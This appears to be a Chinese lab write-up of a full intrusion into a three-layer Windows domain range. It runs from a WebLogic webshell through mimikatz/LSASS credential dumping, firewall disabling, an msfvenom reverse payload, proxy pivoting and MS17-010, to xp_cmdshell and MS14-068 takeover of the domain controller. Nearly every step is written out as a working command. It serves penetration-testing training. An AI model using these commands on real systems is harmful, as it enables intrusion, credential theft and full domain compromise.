一次三层域环境靶场内网渗透

您所在的位置:网站首页 属兔的生肖好不好 一次三层域环境靶场内网渗透

一次三层域环境靶场内网渗透

2023-09-05 01:59| 来源: 网络整理| 查看: 265

这篇文章的目的在于熟悉各种内网中的利用方法,不局限于某一种方法达成目的。

靶场地址:

链接:https://pan.baidu.com/s/18p_iFMgEhd_v1I9pr3X5cQ?pwd=1212 提取码:1212 --来自百度网盘超级会员V1的分享

靶场环境介绍 域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务 (10.10.10.8) 仅主机 目录还原密码:redteam!@#45 主机名:owa 域管理员:administrator:Admin12345 域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派) (10.10.10.18) 仅主机 主机名:sqlserver-2008 本地管理员:Administrator:Admin12345 域账户:redteam\sqlserver:Server12345 (被配置了约束委派) Mssql:sa:sa 域内个人 PC:Windows 7 (10.10.10.7、10.10.20.7) 双网卡,仅主机 主机名:work-7 本地管理员:john:admin!@#45 域账户:redteam\saul:admin!@#45 单机服务器:Windows server r2 + weblogic (NAT:192.168.88.136、仅主机:10.10.20.12) DMZ区 主机名:weblogic 本地管理员:Administrator:Admin12345 weblogic :weblogic:weblogic123(访问 http://ip:7001) weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd) 前置知识

域环境下常见用户身份

Domain Admin:域管理员(默认对域控制器有完全控制权) Domain Computers:域内机器(就是在域环境内的主机) Domain Controllers:域控制器(AD,内网渗透就为了拿下它) Domain Users:域用户

主要针对Domain Admins/Enterprise Admins 相关⽤户收集操作命令:

net localgroup #查看本地用户组 net user #查看本地用户 whoami /all ⽤户权限 net config workstation #查看登录信息 net group /domain #获取域用户组信息 net user /domain #查看域用户信息 wmic useraccount get /all #涉及域用户详细信息 net group "Domain Admins" /domain #查询域管理员账户 net group "Enterprise Admins" /domain #查询管理员用户组 net group "Domain Controllers" /domain #查询域控制器

域横向传递扩散

at&schtasks扩散(通过135、445端口) SMB协议扩散 (通过445端口) WMI(windows management instrumentation)协议扩散 (通过135端口) PTH、PTT、PTK哈希票据传递 RDP横向

域内提权

MS14-068 信息收集(外网渗透测试信息收集阶段) nmap -T4 -p- -Pn -A -v 192.168.88.136

发现开放了7001端口weblogic服务,且为管理后台为默认路径,在端口后加上/console/自动跳转

漏洞探测&漏洞利用

使用GUI漏洞利用工具进行漏洞检测,发现存在漏洞,当前用户为weblogic\administrator

获取当前路径:

echo %cd%

右键F12随便查看一张图片的路径 接下来只要找到该图片所在路径就能间接找出网站根目录:

dir C:\ /s /b | find "login_WebLogic_branding.png"

image

成功找到图片路径:

C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png

接下来在该目录下上传马子即可:

image

冰蝎连接 image

还可以使用WeblogicExploit-GUI by sp4z的工具,支持直接注入冰蝎、蚁剑内存码,且有返回路径的,成功注入内存码上线.

内网横向

拿下了DMZ区域的机器后,除了权限维持和权限提升,对于横向渗透通常分为两个方面

判断机器是否为多网卡机器,然后扫描其他网段,尝试发现更多存在漏洞的机器 尽量收集机器上的敏感信息,比如敏感内部文件、账号密码本等,帮助后面快速突破防线

由于拿下的机器已经是administrator权限,所以可以直接进行信息收集

信息收集(weblogic服务器) 是否为杀软环境

先查看一下进程里面是否存在杀软,未发现杀毒软件 提供两个杀软检测平台地址: • https://i.hacking8.com/tiquan • http://bypass.tidesec.com/bycms

网络信息收集网络信息收集

发现该服务器为双网卡,除了对外的192.168.88.0/24网段外,还有内网10.10.20.0/24网段

判断是否为域环境

常见的判断是否存在域环境的方法有:

ipconfig /all #根据主DNS后缀判断是否存在域环境

net view /domain #判断是否存在域,若存在回显域名信息

net time /domain #判断主域,一般情况下,域内主机时间与域控进行同步

经过验证发现当前服务器并不存在域环境

密码信息收集

因为要进行横向扩散,考虑使用密码喷洒,因此需抓取本地密码,为了方面直接上线cs进行操作,上传cs木马

方法一:抓取hash

注:hash为单向不可逆加密,只能通过彩虹表碰撞,可能无法解密,有点碰运气的成分

获取到hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

尝试将hash进行解密,解密网站:

https://www.cmd5.com/

成功获取当前服务器administrator密码为Admin12345

方法二:利用mimikatz获取明文密码

windows系统密码hash加密算法(LM Hash 和NTLM Hash加密算法) 个人系统在windows vista之后,服务器系统在Windows 2003之后均使用NTLM Hash(大部分情况都是NTLM hash)

NTML hash也能解出密码来,但这种方法好处是在遇到没法解密的情况下可以利用NTML hash进行横向传递

使用mimikatz抓取密码注意事项: 1、windows2012以上版本默认关闭wdigest,导致攻击者无法从内存中获取明文密码 2、windows2012以下版本如果安装了KB2871997补丁,同样会导致无法获取明文密码 解决措施: 利用注册表操作开启Wdigest Auth 值进行获取,修改注册表,打开wdiget

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

cs自带了mimikatz功能,在becon输入

logonpasswords

Procdump+mimikatz结合获取密码 优点:仅上传procdump到受害服务器抓取密码dmp文件,在本机使用mimikatz对dmp文件进行还原。由于该文件是微软自带,不用做免杀(遇到有杀软可以采用) procdump下载链接: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump -accepteula -ma lsass.exe lsass.dmp #使用procdump导出密码hash文件 mimikatz# privilege::debug mimikatz# sekurlsa::minidump lsass.dmp #载入dmp mimikatz# sekurlsa::logonpasswords full #读取密码 登录服务器远程桌面

开启/关闭远程桌面:

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #开启远程桌面 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0 #关闭远程桌面

查看当前主机系统防火墙开启或关闭

netsh firewall show config #查看防火墙状态

直接关闭防火墙(容易被发现)

netsh advfirewall set allprofiles state off

放行从本地 3389 端口进来/出去的流量(入站/出站规则)

netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow #入站规则 netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=out localport=3389 action=allow #出站规则

启用远程桌面进行连接

rdesktop -u Administrator -p Admin12345 192.168.88.136:3389 fscan内网扫描

上传内网大杀器fscan进行扫描(遇到有杀软需要做免杀)

shell fscan.exe -h 10.10.20.1/24

扫描结果显示存在一台10.10.20.7的win7主机,且存在MS17-010永恒之蓝漏洞

会话传递

这里给出互相转发会话的步骤:

1、将CS会话转发至MSF上

MSF创建监听

msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http //这个payload要跟CS设置的一致 payload => windows/meterpreter/reverse_http msf6 exploit(multi/handler) > set lhost 192.168.88.130 lhost => 192.168.88.130 msf6 exploit(multi/handler) > set lport 4444 端口需要与cs监听器端口保持一致,因为cs的后门是反弹的4444端口 lport => 4444 msf6 exploit(multi/handler) > run

CS建立一个监听器,CS的监听器分为两种类型:beacon和foreign。

beacon为CS内置监听器,当我们在目标系统执行payload,会弹回一个beacon的shell给CS foreign主要是提供给外部使用的一些监听器,比如想要利用CS派生一个meterpreter的shell,来进行后续的内网渗透,这时就应该使用外部监听器

CS becon中执行spawn进行转发

2、MSF转发会话至CS

查看当前会话id

sessions -l

CS创建监听器

使用exploit/windows/local/payload_inject模块转发会话

use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 192.168.88.130 //cs主机地址 set LPORT 6666 //随意设置监听端口,需要和cs保持一致 set session 1 //设置需要派送的meterpreter set DisablePayloadHandler true //禁止产生一个新的handler

成功接收会话

但是为了shell的稳定性,我这里还是生成了一个msf木马上传进行操作

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.130 lport=4444 -f exe -o test.exe

将test.exe通过冰蝎或cs进行上传,执行上线

成功接收会话

内网代理

当到达内网某个网段时,该网段被控机器不直接通外网,我们的攻击机无法直接访问,我们就需要借助内网可出网机器构建多层代理。

内网代理(1)

上传第三方代理工具进行代理,如frp、ngrok、natapp等第三方工具

使用frp进行内网代理

内网frp进行多层代理可以参考这篇文章

https://mp.weixin.qq.com/s/vkngH509M3lzrhWeoLnB_A frps: [common] bind_addr = 0.0.0.0 # 服务端监听地址 bind_port = 7000 # 服务端监听端口,默认7000 frpc: [common] server_addr = 192.168.88.130 # 连接的服务器IP地址 server_port = 7000 # 连接的服务器端口 [plugin_socks5] type = tcp # 连接类型为tcp local_ip = 10.10.20.12 # 本地ip local_port = 8888 # 本地监听端口 remote_port = 1080 # 远程服务器端口 use_encryption = true #启⽤加密 plugin = socks5 # 使⽤插件socks5代理

运行方法

服务端启动进行监听 frps.exe -c frps.ini 客户端启动 frpc.exe -c frpc.ini

访问192.168.88.130:1080端口等同于访问10.10.20.12:8888

内网代理(2)

使用MSF的socks5模块进行代理

添加路由

由于攻击机无法直接访问10.10.20.1/24网段,因此通过weblogic服务器添加路由进行访问。这样相当于在受害主机1上做了条直通路由,使得攻击机可以访问原本访问不了的10.10.20.0/24网段

注:在meterpreter中存在路由即可访问目标网段,但目标网段无法向外访问kali

run get_local_subnets # 查看目标网络中的路由信息 run autoroute -s 10.10.20.0/24 # 往session里面添加目标网段的路由10.10.20.0/24 run autoroute -p # 查看添加的路由,查看session中的路由是否添加成功

将会话在后台挂起

background

使用socks5代理模块进行代理

msf5 exploit(multi/handler) > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > exploit [*] Auxiliary module running as background job 0. [*] Starting the SOCKS proxy server

Linux系统连接代理

编辑/etc/proxychains4.conf,添加socks5代理

socks5 192.168.88.130 1080

使用方法:

proxychains4 nmap -T4 -p- 10.10.20.1/24

常见故障: 配合 proxychains4 nmap 扫描对方内网的时候出现:

image

解决方法:

vim /etc/proxychains4.conf

将proxy_dns注释掉即可

image

windows系统连接代理

windows建议使用 SocksCap64 或 Proxifier配置代理/代理链

使用Proxifier配置代理服务器,代理端口

默认所有程序都走代理,可以通过配置代理规则,让指定的程序走代理

利用MS17-010横向win7主机

使用ms17-010漏洞检测模块进一步验证是否存在漏洞,以及网络是否能访问到目标主机

msf6 exploit(multi/handler) > search ms17-010 msf6 exploit(multi/handler) > use 3 //ms17-010漏洞检测模块 msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.20.7 rhosts => 10.10.20.7 msf6 auxiliary(scanner/smb/smb_ms17_010) > run

利用ms17-010攻击模块进行攻击

msf6 exploit(multi/handler) > search ms17-010 msf6 exploit(multi/handler) > use 0 #ms17-010漏洞利用模块 msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.20.7 msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 5555(4444端口已经使用了,注意不要冲突) msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

关于这里为什么要使用正向的payload。

假如我们使用的是反向的payload,那么win7就要去寻找我们kali的路由,但是win7主机中没有kali的路由,那么就会导致我们的反弹shell失败。

我们使用一个正向的payload,我们的kali攻击机就会去主动寻找win7的服务器,这个时候我们因为在session1(weblogic会话)上做了一条路由,因为session1中是存在20网段中的路由的,我们的流量会通过session1上的路由连接至win7,所以我们可以正常进行连接。

成功获取10.10.20.7 win7主机会话

当前用户权限为系统权限

至此,通过ms17-010成功拿下win7主机

信息收集(域内win7)

继续进行信息收集

shell #进行cmd chcp 65001 #改编码 ipconfig /all

发现当前主机为域内主机 域名为:redteam.red 获取域控IP

ping redteam.red nslookup redteam.red

获得域控IP: 10.10.10.8

双网卡:网卡1:10.10.20.7(已知信息),网卡2:10.10.10.7(新的网段) 继续添加路由

run get_local_subnets # 查看目标网络中的路由信息 run autoroute -s 10.10.10.0/24 # 往session里面添加目标网段的路由10.10.20.0/24 run autoroute -p # 查看添加的路由,查看session中的路由是否添加成功

查看当前域用户信息

net user /domain

查看域管理员账户和域控制器

net group "Domain Admins" /domain net group "Domain Controllers" /domain

可知域管理员账户为:Administrator,域控制器Host Name=owa.redteam.red

抓取本地密码

load kiwi #加载mimikatz creds_all: #列举所有凭据

获得域成员账号:saul 密码:admin!@#45

上传fscan继续横向扩撒

fscan.exe -np -h 10.10.10.1/24 #-np = no ping

发现存在主机10.10.10.18,且sqlserver 数据库账户密码为sa:sa 通过代理进行连接

使用xp_cmdshell进行提权

#启用xp_cmdshell: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; #调用xp_cmdshell执行系统权限 EXEC master..xp_cmdshell 'whoami';

至此,又成功拿下sqlserver服务器系统权限

信息收集(sqlserver) EXEC master..xp_cmdshell 'ipconfig /all';

上传正向木马(方法不唯一) ... ... 略

发现当前服务器为域内主机,开启3389进行远程连接

netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow #开启3389端口 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #开启远程桌面 ms14-068漏洞提权域控

域内普通用户直接获取域控system权限,漏洞利用条件:

域控没有打MS14-068的补丁(KB3011780) 拿下一台域内计算机 拥有这台域内计算机的域用户密码和Sid 漏洞原理:

Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会受到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。

如果攻击者获取了域内一台计算机的 shell 权限,同时知道该域用户的用户名、SID、密码,如果存在该漏洞即可获取域管理员权限。

在kerberos 协议中 ——> Kerberos 认证,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。ms14-068 漏洞就是 经过身份验证的Client在TGT中伪造高权限的PAC。该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。 漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法,以及PAC的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生。

利用方法:

1、上传mimikatz,运行抓取账户密码和sid,一条命令运行如下

meterpreter#upload /home/mimikatz.exe C:\\mimikatz.exe #上传mimikatz.exe到域内主机 meterpreter#upload /home/ms14-068.exe C:\\ms14-068.exe #上传ms14-068.exe到域内主机 shell #进入cmd .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit >1.txt systeminfo #查看有无打补丁 whoami /user #查看当前用户SID

2、利用ms14-068.exe 工具生成伪造的kerberos协议认证证书

ms-14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip/IP ms-14-068.exe -u [email protected] -p Server12345 -s S-1-5-21-13590078990-1682372173-163803504-1126 -d 10.10.10.8

会在当前目录下生成证书:[email protected]

3、使用mimikatz导入生成的ccache文件,导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。

kerberos::purge kerberos::ptc 证书名字

4、上传使用PsExec.exe以管理员权限运行连接域控

psexec64.exe \\域控ip cmd.exe -accepteula psexec64.exe \\10.10.10.8 cmd.exe -accepteula

5、复制木马文件到域控

copy shell.exe \\owa.redteam.red\c$

6、利用计划任务进行上线 使用at命令添加计划任务(at命令适用于操作系统 < windows 2012)

at \\owa.redteam.red\c$ 22:10 c:\\shell.exe #设置22:10执行shell.exe

使用schtask添加计划任务(schtask命令适用于操作系统 >= Winidows 2012)

schtasks /create /s 192.168.xx.xx /ru "SYSTEM" /tn adduser /sc DALLY /tr c:attack.bat /F #创建adduser任务对应执行的文件 schtasks /run /s 192.168.xx.xx /tn adduser /i #运行adduser任务 schtasks /delete /s 192.168.xx.xx /tn adduser /f #删除adduser任务

至此,成功拿下域控



【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3